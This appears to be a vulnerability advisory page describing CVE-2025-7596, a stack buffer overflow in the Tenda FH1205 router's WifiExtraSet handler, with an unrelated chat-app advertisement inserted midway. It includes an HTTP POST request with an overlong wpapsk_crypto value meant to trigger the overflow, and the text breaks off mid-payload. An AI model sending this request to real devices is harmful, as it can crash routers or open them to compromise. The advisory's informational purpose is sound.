Overview
A critical vulnerability, identified as CVE-2025-7596, has been discovered in Tenda FH1205 2.0.0.7(775). This vulnerability is significant due to its potential for remote exploitation and its high impact on system integrity and confidentiality. The vulnerability lies within the formWifiExtraSet function of the file /goform/WifiExtraSet, and it’s critical for affected organizations to understand its implications and apply the necessary patches or mitigations as soon as possible.
Vulnerability Summary
CVE ID: CVE-2025-7596
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Tenda FH1205 | 2.0.0.7(775)
How the Exploit Works
The vulnerability is a stack-based buffer overflow that occurs due to improper manipulation of the wpapsk_crypto argument in the formWifiExtraSet function. An attacker can remotely send a specially crafted packet that contains an overly long argument to the function. When processed, this leads to a buffer overflow, allowing the attacker to overwrite critical memory locations, potentially leading to arbitrary code execution or crashing the system.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This example demonstrates a possible HTTP request that could be used to trigger the buffer overflow.
“`http
POST /goform/WifiExtraSet HTTP/1.1
Host: target.tenda.com
Content-Type: application/x-www-form-urlencoded
wpapsk_crypto=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7